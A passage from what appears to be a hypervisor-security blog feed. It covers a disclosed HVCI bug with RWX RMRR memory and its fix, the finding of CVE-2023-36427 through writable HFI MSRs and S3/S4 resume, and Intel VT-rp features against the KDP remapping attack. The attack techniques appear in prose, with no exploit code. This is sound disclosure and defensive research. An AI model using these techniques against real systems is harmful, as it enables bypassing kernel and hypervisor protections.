  <li><strong>Emulated</strong> devices always cause a VMEXIT and they are emulated by a component in the Virtualization stack.</li>
  <li><strong>Paravirtualized</strong> devices are synthetic devices that communicate with the host device through a technology implemented in the Host Hypervisor (VmBus in case of HyperV).</li>
  <li><strong>Hardware</strong> accelerated devices are mapped directly in the VM.
(readers who want to know more can check Chapter 9 of the <a href="https://www.microsoftpressstore.com/store/windows-internals-part-2-9780135462331">Windows Internals</a> book).</li>
</ul>

<p>All the hardware devices are directly mapped in the root partition by the HV. To correctly support Hardware accelerated devices in a child VM the HV needs an IOMMU. But what exactly is an IOMMU? To be able to isolate and restrict device accesses to just the resource owned by the VM (or by the root partition), an IOMMU should provide the following capabilities:</p>

<ul>
  <li>I/O device assignment</li>
  <li><strong>DMA remapping</strong> to support address translations for Direct Memory Accesses (DMA) initiated by the devices</li>
  <li>Interrupt remapping and posting for supporting isolation and routing of interrupts to the appropriate VM</li>
</ul>

<h3 id="dma-remapping">DMA remapping</h3>

<p>The DMA remapping capability is the feature related to the bug found in the Hypervisor. Indeed, to properly isolate DMA requests coming from hardware devices, an IOMMU must translate request coming from the endpoint device attached to the Root Complex (which, in its simplest form, a DMA request is composed of a target DMA address/size and originating device ID specified as Bus/Dev/Function - BDF) to its corresponding Host Physical Address (HPA).</p>

<p>Note that readers that do not know what a Root Complex is or how the PCI-Ex devices interact with the system memory bus can read the excellent article by Gbps located <a href="https://ctf.re/windows/kernel/pcie/tutorial/2023/02/14/pcie-part-1/">here</a> (he told me that a part 2 is coming soon :-) ).</p>

<p>The IOMMU defines the <strong>Domain</strong> concept, such an isolated environment in the platform for which a subset of host physical memory is allocated (basically a bunch of isolated physical memory pages). The isolation property of a domain is achieved by blocking access to its physical memory from resources <strong>not</strong> assigned to it. Software creates and manages domains, allocates the backing physical memory (SPAs), and sets up the DMA address translation function using “Device-to-Domain Mapping” and “Hierarchical Address translation” structures.</p>

<p>Skipping a lot of details, both structures can be thought as “Special” page tables:</p>

<ul>
  <li>Device–to-Domain Mapping structures are addressed by the BDF of the source device. In the Intel manual this is called “Source ID” and yield backs the domain ID <strong>and</strong> the root Address Translation structures for the domain (yes, entries in this table are 128 bits indeed, and not 64).</li>
  <li>Hierarchical Address translation structures are addressed by the source DMA address, which is treated as GPA, and outputs the final Host Physical address used as target for the DMA transfer.</li>
</ul>

<p>The concepts above are described by the following figure (source: Intel Manual):
<img src="/blog/img/posts/2024-01-15/domain_mapping.gif" alt="Device domain mapping structures in legacy mode (from the Intel manual)" /></p>

<h3 id="dmar-acpi-table-and-rmrr-structure">DMAR ACPI table and RMRR structure</h3>

<p>The architecture defines that any IOMMU present in the system must be detected by the BIOS and announced via an ACPI table, called DMA Remapping Reporting (DMAR). The DMAR is composed of multiple remapping structures. For example, an IOMMU is reported with the DMA Remapping Unit Definition (DRHD) structure. Describing all of them is beyond the scope of this article.</p>

<p>What if a device always needs to perform DMA transfer with specific memory regions? Certain devices, like the Network controller, when used for debugging (for example in KDNET), or the USB controller, when used for legacy Keyboard emulation in the BIOS, should always be able to perform DMA both before and after setting up IOMMU. For these kinds of devices, the Reserved Memory Region Reporting (<strong>RMRR</strong>) structure is used by the BIOS to describe regions of memory where the DMA should always be possible.</p>

<p>Two important concepts described in the Intel manual regarding the RMRR structure:</p>

<ol>
  <li>The BIOS should report physical memory described in the RMRR as <strong>Reserved</strong> in the UEFI memory map.</li>
  <li>When the OS enables DMA remapping, it should set up the Second-stage address translation structures for mapping the physical memory described by the RMRR using the “identity mapping” with <strong>read and write</strong> (RW) permission (meaning that GPA X is mapped to HPA X).</li>
</ol>

<h3 id="interaction-with-windows-and-the-bug">Interaction with Windows, and the bug</h3>

<p>In some buggy machines, consideration #1 was not happening, meaning that neither the HV nor the Secure Kernel know about this memory range from the UEFI memory map.</p>

<p>When booting, the Hypervisor initializes its internal state, creates the Root partition (again, details are in the Windows Internals book) and performs the IOMMU initialization in multiple phases. On AMD64 machines, one of these phases requires parsing the RMRR. Note that the HV still has <em>no idea</em> whether the system will enable VBS/HVCI or not, so it has no options other than applying the full identity mapping to the range (which implies RWX protection).</p>

<p>When the Secure Kernel later starts and determines that HVCI should be enabled, it will set the new “default VTL permission” to be RW (but <em>not</em> Execute) and will inform the hypervisor by setting the public HvRegisterVsmPartitionConfig synthetic MSR (documented in the <a href="https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/tlfs">Hypervisor TLFS</a>). When VTL 1 of the target partition sets the default VTL protection and writes to the HvRegisterVsmPartitionConfig MSR, it causes a VMEXIT to the Hypervisor, which cycles between each valid Guest physical frame described in the <strong>UEFI memory map</strong> and mapped in the VTL 0 SLAT, removing the “Execute” permission bit (as dictated by the “DefaultVtlProtectionMask” field of the synthetic register).</p>

<p>Mindful readers can already understand what is going wrong here. In buggy firmware, where the RMRR is <em>not</em> set in the UEFI memory map, leaves the “Execute” protection of the described region on, producing a HVCI violation (thanks Satoshi).</p>

<h3 id="fixes">Fixes</h3>

<p>MSFT has fixed (thanks Andrea) the issue working on two separate sides:</p>

<ol>
  <li>Fixing the firmware in all the commercial devices MSFT released, forcing the RMRR memory region to be included in the UEFI memory map</li>
  <li>Implementing a trick in the HV. Since the architecture requires that the RMRR memory region must be mapped in the IOMMU (via the Hierarchical Address translation structures as described above) using identity map with RW access permission (but no X - Execute), we decided to perform some compatibility tests and see what happen if the HV protects all the initial PFNs for RMRR memory regions in the SLAT by stripping the X bit. Indeed, the OS always needs to read or write to those regions, so programming the SLAT is needed.</li>
</ol>

<p>Tests for fix 2 worked and produced almost 0 compatibility issue, so MSFT decided also to increase the protection and remove the X permission on all RMRR memory region by default on ALL systems, also increasing the protection when the firmware is bugged.</p>

<h2 id="summary">Summary</h2>

<p>Hope you enjoyed this jointly written post with both bug reporter’s and developer’s perspectives and a great deal of details on the interaction of VT-d and Hyper-V by Andrea.</p>

<p>To summarize, the combination of buggy UEFI that did not follow one of the requirements by the Intel VT-d specification and permissive default EPT configuration caused unintended RWX GPAs under HVCI. MSFT resolved the issue by correcting the default permission and their UEFI and released the fix on January 9. Not all devices are vulnerable to this issue. However, you may identify vulnerable devices by checking the <code class="language-plaintext highlighter-rouge">memmap</code> UEFI shell command not showing the exact RMRR memory regions as Reserved.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Discovery to reporting Discovery Exploitation Partial root causing Reporting Technical details and fixes Intel VT-x and its limitation Intel VT-d DMA remapping DMAR ACPI table and RMRR structure Interaction with Windows, and the bug Fixes Summary]]></summary></entry><entry><title type="html">How I found Microsoft Hypervisor bugs as a by-product of learning</title><link href="/blog/2023/11/19/CVE-2023-36427.html" rel="alternate" type="text/html" title="How I found Microsoft Hypervisor bugs as a by-product of learning" /><published>2023-11-19T00:00:00+00:00</published><updated>2023-11-19T00:00:00+00:00</updated><id>/blog/2023/11/19/CVE-2023-36427</id><content type="html" xml:base="/blog/2023/11/19/CVE-2023-36427.html"><![CDATA[<ul>
  <li><a href="#finding-and-exploitation">Finding and Exploitation</a>
    <ul>
      <li><a href="#how-it-started">How it started</a></li>
      <li><a href="#the-bug">The bug</a></li>
      <li><a href="#validation">Validation</a></li>
      <li><a href="#exploitation-with-s3s4">Exploitation with S3/S4</a></li>
    </ul>
  </li>
  <li><a href="#thoughts">Thoughts</a>
    <ul>
      <li><a href="#verify-your-assumption">Verify your assumption</a></li>
      <li><a href="#not-so-many-eyeballs">Not so many eyeballs</a></li>
      <li><a href="#same-bug-might-exist-elsewhere">Same bug might exist elsewhere</a></li>
      <li><a href="#security-feature-bypass-matters">Security feature bypass matters</a></li>
      <li><a href="#security-research-can-yield-vulnerabilities">Security research can yield vulnerabilities</a></li>
    </ul>
  </li>
  <li><a href="#footnotes">Footnotes</a></li>
</ul>

<p>This is a non-technical post on how I found two Microsoft Hypervisor-related vulnerabilities I reported this summer. Specifically, this post discusses CVE-2023-36427, memory corruption at arbitrary physical addresses from the root partition, fixed on November 14th. If you are interested in technical details of the bug, read <a href="https://github.com/tandasat/CVE-2023-36427/blob/main/report.md">the report on GitHub</a>. This post focuses on the process of finding and exploiting the bug and my thoughts on this exercise.</p>

<p>The other vulnerability has not been disclosed yet.</p>

<h2 id="finding-and-exploitation">Finding and Exploitation</h2>

<h3 id="how-it-started">How it started</h3>

<p>A few months ago, I wrote <a href="https://github.com/tandasat/hvext">hvext.js</a> to better understand how Microsoft Hypervisor protected itself and the kernel as virtualization-based security (VBS). This tool, for example, let me see what MSRs were readable or writable from the root partition without getting intercepted by the hypervisor.</p>

<p>Dump of MSR accessibility showed only 81 MSRs were writable. As it was a small number, I decided to go through them one by one and see why they were writable. Most of those were related to performance, processor frequency, or thermal, which made sense to me.</p>

<h3 id="the-bug">The bug</h3>

<p>However, I noticed that Hardware Feedback Interface (later referred to as HFI) related MSRs were writable. <a href="https://standa-note.blogspot.com/2021/12/para-pass-through-hypervisors-and-their.html">I knew</a> they could corrupt any physical memory pages regardless of how a hypervisor configured EPTs. The gist of the issue with the writable HFI MSRs is that they allow software to specify the <em>physical address</em> of where an HFI structure is populated by the processor. Thus, the guest software could specify a physical address of hypervisor code and let the processor overwrite it with the HFI structure irrespective of EPT permissions.</p>

<h3 id="validation">Validation</h3>

<p>I was initially skeptical about this exploitation on Windows, as this would be obvious oversight. Regardless, experiments showed the root partition could modify them. However, memory corruption did not happen as expected. This was because the processor appeared to populate the HFI structure only once after reset (<a name="body1"><a href="#note1">*1</a></a>). I could write the MSRs as many times as I wanted, but it was effectively no-op because the kernel always wrote the MSRs at its startup.</p>

<h3 id="exploitation-with-s3s4">Exploitation with S3/S4</h3>

<p>I started to think – “can you reset a processor so that you could trigger the memory write operation by the processor?”</p>

<p>Yes, you can. That is what S3 and S4 (sleep, and hibernation or “shutdown” on modern Windows) do. I started to look into this and realized that, in case of resume from S3/S4, the kernel <em>conditionally</em> wrote the MSRs and that the condition was controllable. By controlling the condition, I could avoid the MSR re-initialization by the kernel on resume and perform initial write through my code. At that point, writing the PoC was straightforward.</p>

<p>With the PoC, demo and the report, MSRC confirmed that this issue was valid. The fix was released November 14th as promised, and the report was eligible for a 2000 USD bounty award.</p>

<p><img src="/blog/img/posts/2023-11-19/bounty.png" alt="bounty" /></p>

<p>Yay!</p>

<h2 id="thoughts">Thoughts</h2>

<p>A few thoughts on this bug discovery and exploitation:</p>

<h3 id="verify-your-assumption">Verify your assumption</h3>

<p>First thing first; as mentioned before, the fact that the HFI MSRs could bypass EPT was not entirely new. I expected that this attack vector was considered and disabled even before my post, but it was not after all.</p>

<h3 id="not-so-many-eyeballs">Not so many eyeballs</h3>

<p>It appears that a fewer folks than I imagined look into attacks from the root partition.</p>

<p>If any security researcher had inspected the MSR bitmaps for the root partition, she would have found this issue, even if she did not know about this particular attack vector beforehand. Because only a handful of MSRs were writable, it should not have been difficult to go through them and see if anything could be exploited.</p>

<h3 id="same-bug-might-exist-elsewhere">Same bug might exist elsewhere</h3>

<p>Since the issue has to do with Intel processors than software specifics, there may be other hypervisors that do not restrict access to the MSRs allowing violation of security models.</p>

<p>Also, are there any access to other hardware mechanisms that directly write physical memory (eg, IOMMU and PCI devices)? What about AMD? I did not look into AMD at all or have a plan to do so. It may be a good research topic.</p>

<h3 id="security-feature-bypass-matters">Security feature bypass matters</h3>

<p>When I submitted the report to MSFT, I was unsure if they would view this as a vulnerability given that an Administrator could disable VBS with <code class="language-plaintext highlighter-rouge">bcdedit</code> anyway. Why bother?</p>

<p>That argument is flawed.</p>

<p>Later, I noticed attacks like this was an issue as such security policy violations were not observable in any standard way. Your system would be reported as “VBS enabled” on event logs, NT API, PCR, TCG logs, etc, yet exposed to attacks. There is a substantial difference from disabling VBS and rebooting, which is clearly observable.</p>

<h3 id="security-research-can-yield-vulnerabilities">Security research can yield vulnerabilities</h3>

<p>Simply learning security features yielded two vulnerabilities in Windows core components (and 3000 USD) <em>as by-product</em>. If you are a kind of person who likes to do security feature research and still wishes to find vulnerabilities time to time, that is OK to focus on what interest you.</p>

<h2 id="footnotes">Footnotes</h2>

<p><a name="note1">*1</a> (<a href="#body1">🔙</a>): I may very well be missing something here. The Intel SDM does not indicate this behaviour. Let me know if you know of more details.</p>

<hr />

<p><em>Found this post interesting? We offer a training course about the Intel virtualization technology. <a href="https://tandasat.github.io/">Check out the course syllabus</a>.</em></p>]]></content><author><name></name></author><summary type="html"><![CDATA[Finding and Exploitation How it started The bug Validation Exploitation with S3/S4 Thoughts Verify your assumption Not so many eyeballs Same bug might exist elsewhere Security feature bypass matters Security research can yield vulnerabilities Footnotes]]></summary></entry><entry><title type="html">Intel VT-rp - Part 2. paging-write and guest-paging verification</title><link href="/blog/2023/07/31/intel-vt-rp-part-2.html" rel="alternate" type="text/html" title="Intel VT-rp - Part 2. paging-write and guest-paging verification" /><published>2023-07-31T00:00:00+00:00</published><updated>2023-07-31T00:00:00+00:00</updated><id>/blog/2023/07/31/intel-vt-rp-part-2</id><content type="html" xml:base="/blog/2023/07/31/intel-vt-rp-part-2.html"><![CDATA[<ul>
  <li><a href="#paging-write-pw">Paging-write (PW)</a>
    <ul>
      <li><a href="#protecting-the-hypervisor-managed-paging-structures">Protecting the hypervisor-managed paging structures</a></li>
      <li><a href="#pw-as-performance-optimization">PW as performance optimization</a></li>
      <li><a href="#demo---read-only-paging-structures">Demo - read-only paging structures</a></li>
    </ul>
  </li>
  <li><a href="#guest-paging-verification-gpv">Guest-paging verification (GPV)</a>
    <ul>
      <li><a href="#demo---preventing-aliasing">Demo - preventing aliasing</a></li>
    </ul>
  </li>
  <li><a href="#side-discussions">Side discussions</a>
    <ul>
      <li><a href="#code-integrity-protection-vs-the-remapping-attack">Code-integrity protection v.s. the remapping attack</a></li>
      <li><a href="#relevant-security-features">Relevant security features</a></li>
    </ul>
  </li>
  <li><a href="#conclusion">Conclusion</a>
    <ul>
      <li><a href="#notes">Notes</a></li>
    </ul>
  </li>
</ul>

<p>This is the 2nd part of the series about the Intel VT Redirection Protection (VT-rp) technology. This post focuses on two of its features: paging write (PW) and guest-paging verification (GPV). We will also discuss how other protection mechanisms complement Intel VT-rp to defend the system against kernel-mode exploits. For hypervisor-managed linear address translation (HLAT), please read <a href="/blog/2023/07/05/intel-vt-rp-part-1.html">part 1</a>.</p>

<p>As a reminder, source code of the sample hypervisor used in this blog series is available on <a href="https://github.com/tandasat/Hello-VT-rp/">GitHub</a>.</p>

<p>We will use following acronyms throughout this post:</p>
<ul>
  <li>LA: linear address</li>
  <li>GPA: guest physical address</li>
  <li>PA: physical address</li>
</ul>

<p><img src="/blog/img/posts/2023-07-31/cat.jpg" alt="" /> <em>(I am intrigued…)</em></p>

<h2 id="paging-write-pw">Paging-write (PW)</h2>

<h3 id="protecting-the-hypervisor-managed-paging-structures">Protecting the hypervisor-managed paging structures</h3>

<p>As discussed in part 1 of this series, HLAT employs a new set of paging structures rooted from the HLATP VMCS field to “lock” translation of desired LAs.</p>

<p>Those paging structures, which we refer to as the hypervisor-managed paging structures, must be tamper resilient against a guest; otherwise, there would be no point in using HLAT. They also have to be accessible from the guest because the HLATP VMCS field holds the GPA of the structures, and the processor needs to be able to read them on the GPA in VMX non-root operation.</p>

<p>For them to be tamper resilient while being exposed to the guest, they may be marked as read-only with EPT. The below illustrates this setup.</p>

<p><img src="/blog/img/posts/2023-07-31/hlat_protected.png" alt="" /></p>

<p>This can cause extra VM-exit during HLAT paging because the processor attempts to set “accessed” and “dirty” bits in the paging structures as needed. This operation is called “paging write”. While this is done by hardware, it is still subject to EPT permissions.</p>

<h3 id="pw-as-performance-optimization">PW as performance optimization</h3>

<p>To avoid those extra VM-exits, a hypervisor can set the “paging-write access” (PWA) bit in the EPT entries that correspond to the hypervisor-managed paging structures (<a name="body1"><a href="#note1">*1</a></a>). When this bit is set, paging write is allowed regardless of the EPT read/write permission.</p>

<p><img src="/blog/img/posts/2023-07-31/eptpte_format_pw.png" alt="" /></p>

<p><img src="/blog/img/posts/2023-07-31/pw.png" alt="" /></p>

<h3 id="demo---read-only-paging-structures">Demo - read-only paging structures</h3>

<p>Let us observe this behaviour using the custom hypervisor and <code class="language-plaintext highlighter-rouge">uefi_client</code> on the UEFI shell.</p>

<p>First, we make the hypervisor-managed paging structures read-only using hypercall <code class="language-plaintext highlighter-rouge">1</code>, then, enable HLAT for LA 0x200000 using hypercall <code class="language-plaintext highlighter-rouge">0</code>. This immediately causes EPT violation VM-exit and panic as shown below.</p>

<p><img src="/blog/img/posts/2023-07-31/pw_without_pw.jpg" alt="" /></p>

<p>This is because the processor attempted to perform paging write for the hypervisor-managed paging structures, which were read-only.</p>

<p>Next, let us set the PWA bit in the EPT entry using hypercall <code class="language-plaintext highlighter-rouge">2</code>, then enable HLAT.</p>

<p><img src="/blog/img/posts/2023-07-31/pw_with_pw.jpg" alt="" /></p>

<p>This does not cause VM-exit due to paging write.</p>

<h2 id="guest-paging-verification-gpv">Guest-paging verification (GPV)</h2>

<p>The 3rd feature VT-rp provides is guest-paging verification (GPV), formerly referred to as verify paging-write.</p>

<p>It is a mechanism to prevent accessing a given GPA through unintended LAs. For example, in the below diagram, two LAs translate to the same GPA due to aliasing, but access to the GPA through (b) can be detected and prevented using GPV.</p>

<p><img src="/blog/img/posts/2023-07-31/aliasing.png" alt="" /></p>

<p>In a nutshell, this works by the processor verifying that all leaf EPT entries used to translate a LA to a GPA set the PWA bit.</p>

<p>To take a closer look, let us remind ourselves that the processor has to access guest-managed paging structures (ie, PML4e, PDPTe, PDe and PTe) on memory to translate a LA to a PA, and that access requires GPA -&gt; PA translation. Namely,</p>
<ol>
  <li>To translate a LA, the processor:
    <ol>
      <li>needs to read PML4e on GPA, which requires translation to PA using EPT PML4e, PDPTe, PDe and PTe</li>
      <li>needs to read PDPTe on GPA, which requires translation to PA using EPT PML4e, PDPTe, PDe and PTe</li>
      <li>and so on</li>
    </ol>
  </li>
  <li>Then, LA (1) is translated to GPA</li>
  <li>Finally, GPA (2) is translated to PA with another set of EPT PML4e, PDPTe, PDe and PTe</li>
</ol>

<p><img src="/blog/img/posts/2023-07-31/translation.png" alt="" /></p>

<p>A process called guest-paging verification steps in when the “verify guest paging” (VGP) bit is set in EPT PTe appeared in (3) above. When this happens, the processor checks that all leaf EPT entries appeared in (1.1) ~ (1.3) have the PWA bit. If not, EPT violation VM-exit occurs.</p>

<p><img src="/blog/img/posts/2023-07-31/eptpte_format_vgp.png" alt="" /></p>

<p>The below illustration depicts this.</p>

<p><img src="/blog/img/posts/2023-07-31/gpv.png" alt="" /></p>

<ol>
  <li>If the VGP bit is set in the EPT entry for a GPA being accessed,</li>
  <li>the processor looks at the paging structures referenced during LA -&gt; GPA translation, and</li>
  <li>makes sure the GPAs of the paging structures are marked as PWA=1 in EPT.</li>
</ol>

<p>Like (2’) and (3’) above, if the processor encounters an EPT entry that is not marked as PWA=1, EPT violation VM-exit occurs. This mechanism allows an hypervisor to enforce that a given GPA is accessed only through an intended LA and prevent the aliasing attack (<a name="body2"><a href="#note2">*2</a></a>).</p>

<p>Similar to PW, this feature can be used independently of HLAT (<a name="body3"><a href="#note3">*3</a></a>).</p>

<h3 id="demo---preventing-aliasing">Demo - preventing aliasing</h3>

<p>Let us prevent the aliasing attack against GPA 0x200000 with GPV.</p>

<p>First, we enable HLAT using hypercall <code class="language-plaintext highlighter-rouge">0</code> to make sure the GPA is accessed through intended permission. Next, using hypercall <code class="language-plaintext highlighter-rouge">3</code>, we enable GPV for the GPA and allow access through the hypervisor-managed paging structures, by setting the PWA bit into the EPT entries corresponding to them.</p>

<p><img src="/blog/img/posts/2023-07-31/gpv_setup.jpg" alt="" /></p>

<p>Then, we alias GPA 0x200000 with the <code class="language-plaintext highlighter-rouge">alias</code> command. In this demo, LA 0x46200000 is an alias and translates to GPA 0x200000. Access to LA 0x46200000, however, causes VM-exit and panic as shown below.</p>

<p><img src="/blog/img/posts/2023-07-31/gpv_panic.jpg" alt="" /></p>

<p>This is because LA 0x46200000 was translated to GPA 0x200000 using the paging structures which are not marked as
“ok” with the PWA bit in the corresponding EPT entries. If the GPA 0x200000 were accessed through an original LA, that would have been successful as the LA would be translated through the paging structures that are marked as “ok” (because of the hypercall <code class="language-plaintext highlighter-rouge">3</code> above).</p>

<h2 id="side-discussions">Side discussions</h2>

<h3 id="code-integrity-protection-vs-the-remapping-attack">Code-integrity protection v.s. the remapping attack</h3>

<p>In part 1, we discussed bypassing KDP, write-protection for data, using the remapping attack. An astute reader might have wondered if the same technique could be used to bypass write-protection for code. The answer is/should be “no.”</p>

<p>The remapping attack is possible against data because it is trivial to find other GPA that is marked as RW in EPT. In fact, any GPA for data is marked as such by default. On the other hand, an attacker would have to find a GPA that is W+X in EPT to apply the attack for code. Such GPA should not exist in the first place.</p>

<p>It is still possible to remap a code page to another code page <em>without modification</em> and make the processor execute different instructions than what the original GPA has. However, given that an attacker would have to find a code page with suitable instructions at the exact page offset or beginning of the page, it would be challenging to implement this idea for anything useful.</p>

<h3 id="relevant-security-features">Relevant security features</h3>

<p>Keep it in mind that VT-rp mitigates only a subset of exploitation techniques, and other mitigation technologies are required for more comprehensive protection against kernel-mode exploits. Here is a few of them:</p>

<ul>
  <li>W^X guarantee for kernel-mode code: If code is writable, an attacker can generate and execute her shell-code.</li>
  <li>SMEP: If a user-mode page is executable in kernel-mode, an attacker can generate and execute her shell-code in user-mode pages, where W^X is usually not enforced.</li>
  <li>MBEC/GMET: If executable permission is not managed for user- and kernel-mode separately, an attacker can generate shell-code in user-mode executable pages, make it kernel-mode to bypass SMEP and execute it.</li>
  <li>Kernel-mode code flow integrity: If forward- or backward-edge code flow is unprotected using CFG and CET shadow stack, an attacker can replace a function pointer or perform ROP to do desired operations (<a name="body4"><a href="#note4">*4</a></a>).</li>
</ul>

<p>Additionally, configurations of those must be protected by a hypervisor. If we consider securely starting up the hypervisor, we need to combine more technologies. It is substantial and challenging work to do without any bugs or misconfigurations.</p>

<h2 id="conclusion">Conclusion</h2>

<p>In part 2, we looked into two of the features Intel VT-rp offered: paging-write (PW) and guest-paging verification (GPV). Specifically, how PW helped protect the hypervisor-managed paging structures efficiently and how GPV can be used to detect the aliasing attack in combination with PW.</p>

<p>The addition of Intel VT-rp is one of the latest examples of how processors and hypervisors evolve and play significant roles in the security scenes. It is also interesting to think about how many machines lack some of those protections, given that it was only in late 2020 when Intel CET was released with 11th gen and AMD shadow-stack was released with Ryzen 3.</p>

<h3 id="notes">Notes</h3>

<p><a name="note1">*1</a> (<a href="#body1">🔙</a>): PW can be used for the guest-managed paging structures without enabling HLAT. For example, the hypervisor may make part of guest-managed paging structures read-only and PWA=1 with EPT. It would “lock” the translation of a given LA as HLAT does.</p>

<p><a name="note2">*2</a> (<a href="#body2">🔙</a>): Although it is <a href="https://kvmforum2020.sched.com/event/eE4F">explained that preventing the aliasing attack is one of the motivations for GPV</a>, I am unclear when aliasing becomes a real problem, as it does not bypass EPT permissions. It seems that an intended use case is rather when a GPA cannot be read-only with EPT. An interesting quote from <a href="https://github.com/tandasat/Hello-VT-rp/blob/main/docs/architecture-instruction-set-extensions-programming-reference_v44.pdf">another Intel document</a>: <code class="language-plaintext highlighter-rouge">The VMM can restrict the effect of aliases by making the guest physical pages non-writable under EPTs. However, there may be scenarios where the VMM may wish to restrict aliases to writable guest-physical pages.</code></p>

<p>A possible scenario I can think of is where the GPA of sensitive data is mapped as writable with EPT, yet the LA of it is read-only in one VM and writable in another VM. As a hypothetical example, Windows might:</p>
<ul>
  <li>make the LA of the hypervisor-managed paging structures read-only with the guest-managed paging structures in VTL 0. Then, make the GPA of the guest-managed paging structures read-only and PWA=1 with EPT. Also,</li>
  <li>make the LA of the same hypervisor-managed paging structures as writable in VTL 1, and</li>
  <li>leave the GPA of the hypervisor-managed paging structures writable but set GPV=1 with EPT.</li>
</ul>

<p>This would allow VTL 1 to update the hypervisor-managed paging structures without page-fault or VM-exit while keeping the structure read-only for VTL 0. If there were no GPV, VTL 0 could alias the GPA of the hypervisor-managed paging structures and modify them. Though, I would use different EPTs for VTL 0 and 1 to keep the structures read-only for VTL 0, instead of leaving them writable.</p>

<p>Either way, I am interested in seeing how GPV will be used in the field.</p>

<p><a name="note3">*3</a> (<a href="#body3">🔙</a>): GPV can be used without HLAT. That is, a hypervisor can set the PWA bits to EPT entries that correspond to the guest-managed paging structures. This would enforce that a given GPA is accessed through an intended LA but would not enforce permissions, as the guest can change the permission bits in the paging structures. To enforce permissions, the hypervisor could make the GPA of the guest-managed paging structures read-only using EPT.</p>

<p><a name="note4">*4</a> (<a href="#body4">🔙</a>): In fact, Windows does not enable kernel-mode CET by default, even on secured-core PCs as of this writing (10.0.22621). This can be enabled with the <code class="language-plaintext highlighter-rouge">KernelShadowStacks</code> registry key as mentioned in <a href="https://connormcgarr.github.io/hvci/">Exploit Development: No Code Execution? No Problem! Living The Age of VBS, HVCI, and Kernel CFG</a> if desired.</p>

<hr />

<p><em>Found this post interesting? We offer a training course about the Intel virtualization technology. <a href="https://tandasat.github.io/">Check out the course syllabus</a>.</em></p>]]></content><author><name></name></author><summary type="html"><![CDATA[Paging-write (PW) Protecting the hypervisor-managed paging structures PW as performance optimization Demo - read-only paging structures Guest-paging verification (GPV) Demo - preventing aliasing Side discussions Code-integrity protection v.s. the remapping attack Relevant security features Conclusion Notes]]></summary></entry><entry><title type="html">Intel VT-rp - Part 1. remapping attack and HLAT</title><link href="/blog/2023/07/05/intel-vt-rp-part-1.html" rel="alternate" type="text/html" title="Intel VT-rp - Part 1. remapping attack and HLAT" /><published>2023-07-05T00:00:00+00:00</published><updated>2023-07-05T00:00:00+00:00</updated><id>/blog/2023/07/05/intel-vt-rp-part-1</id><content type="html" xml:base="/blog/2023/07/05/intel-vt-rp-part-1.html"><![CDATA[<ul>
  <li><a href="#ept-based-security-and-an-attack-against-it">EPT-based security and an attack against it</a>
    <ul>
      <li><a href="#bypassing-kdp-with-the-remapping-attack">Bypassing KDP with the remapping attack</a></li>
      <li><a href="#demo---making-cig_cioptions-zero-under-kdp">Demo - making <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code> zero under KDP</a></li>
    </ul>
  </li>
  <li><a href="#intel-vt-redirect-protection-vt-rp">Intel VT Redirect Protection (VT-rp)</a>
    <ul>
      <li><a href="#hlat-and-the-remapping-attack">HLAT and the remapping attack</a></li>
      <li><a href="#demo---protecting-cig_cioptions-with-hlat">Demo - protecting <code class="language-plaintext highlighter-rouge">ci!g_CiOptions</code> with HLAT</a></li>
      <li><a href="#availability">Availability</a></li>
    </ul>
  </li>
  <li><a href="#conclusion">Conclusion</a>
    <ul>
      <li><a href="#acknowledgement">Acknowledgement</a></li>
      <li><a href="#notes">Notes</a></li>
    </ul>
  </li>
</ul>

<p>This post introduces Intel VT Redirect Protection (VT-rp) – what it is, how it works, and why it was invented, with <a href="https://github.com/tandasat/Hello-VT-rp/">a sample hypervisor</a> and example scenarios. This is the first part of a 2 posts-series, focusing on Hypervisor-managed Linear Address Translation, HLAT, one of the features VT-rp provides. For other features, read <a href="/blog/2023/07/31/intel-vt-rp-part-2.html">part 2</a>.</p>

<p>We use Windows as an example environment to discuss exploitation techniques and scenarios, but the same principle applies to any other operating system.</p>

<h2 id="ept-based-security-and-an-attack-against-it">EPT-based security and an attack against it</h2>

<p><em>(<a href="#bypassing-kdp-with-the-remapping-attack">Skip this section</a> if you are familiar with EPT, HVCI, and KDP)</em></p>

<p>Extended page table, EPT, is an Intel implementation of <a href="https://en.wikipedia.org/wiki/Second_Level_Address_Translation">Second Level Address Translation</a>, which allows a hypervisor to control memory access by a guest by adding one more address translation step that cannot be tampered with by the guest.</p>

<p>The below diagram illustrates how a linear address is translated into a physical address using EPT.
<img src="/blog/img/posts/2023-07-05/ept_paging.png" alt="" />
<em>(LA: linear address, GPA: guest physical address, PA: physical address)</em></p>

<p>Because a guest cannot tamper with this mechanism even with the kernel privileges, a hypervisor can use it to protect the OS kernel from a kernel-mode exploit by making sensitive kernel-mode code and data non-writable at the EPT level. This way, even if an attacker gains arbitrary kernel-mode write primitives, she cannot corrupt the sensitive code or data.</p>

<p>This diagram shows that code remains non-writable even if an attacker changes the permission in the guest paging structures.
<img src="/blog/img/posts/2023-07-05/hvci.png" alt="" /></p>

<p>Windows implements this idea as features called HyperVisor-protected Code Integrity (HVCI) and Kernel Data Protection (KDP). HVCI makes kernel-mode code non-writable, and KDP makes kernel-mode data non-writable through EPT.</p>

<h3 id="bypassing-kdp-with-the-remapping-attack">Bypassing KDP with the remapping attack</h3>

<p>If an attacker has an arbitrary kernel-mode read and write primitive, KDP can be bypassed by remapping the protected LA onto another GPA that is still configured to be writable at the EPT level.</p>

<p>The below illustration shows permissions for sensitive data protected by KDP.
<img src="/blog/img/posts/2023-07-05/kdp.png" alt="" /></p>

<p>As shown below, to modify the contents of the sensitive data, an attacker can (1) create a copy of the data, (2) modify the contents of the copy, then (3) update the guest paging structures of the protected LA to point to the modified copy. With this, (4) when the protected LA is read, the modified contents are read instead. This method is <a href="https://kvmforum2020.sched.com/event/eE4F">called “remapping”</a> or page swapping.
<img src="/blog/img/posts/2023-07-05/remapping.png" alt="" /></p>

<p>This is a well-understood limitation that is explicitly called out by Microsoft and further discussed <a href="https://www.fortinet.com/blog/threat-research/driver-signature-enforcement-tampering">by</a> <a href="https://datafarm-cybersecurity.medium.com/code-execution-against-windows-hvci-f617570e9df0">several</a> <a href="https://lore.kernel.org/all/20230505152046.6575-1-mic@digikod.net/">others</a>. Here is the quote from the <a href="https://www.microsoft.com/en-us/security/blog/2020/07/08/introducing-kernel-data-protection-a-new-platform-security-technology-for-preventing-data-corruption/">Microsoft article introducing KDP</a>.</p>
<blockquote>
  <p><em>KDP does not enforce how the virtual address range mapping a protected region is translated.</em></p>
</blockquote>

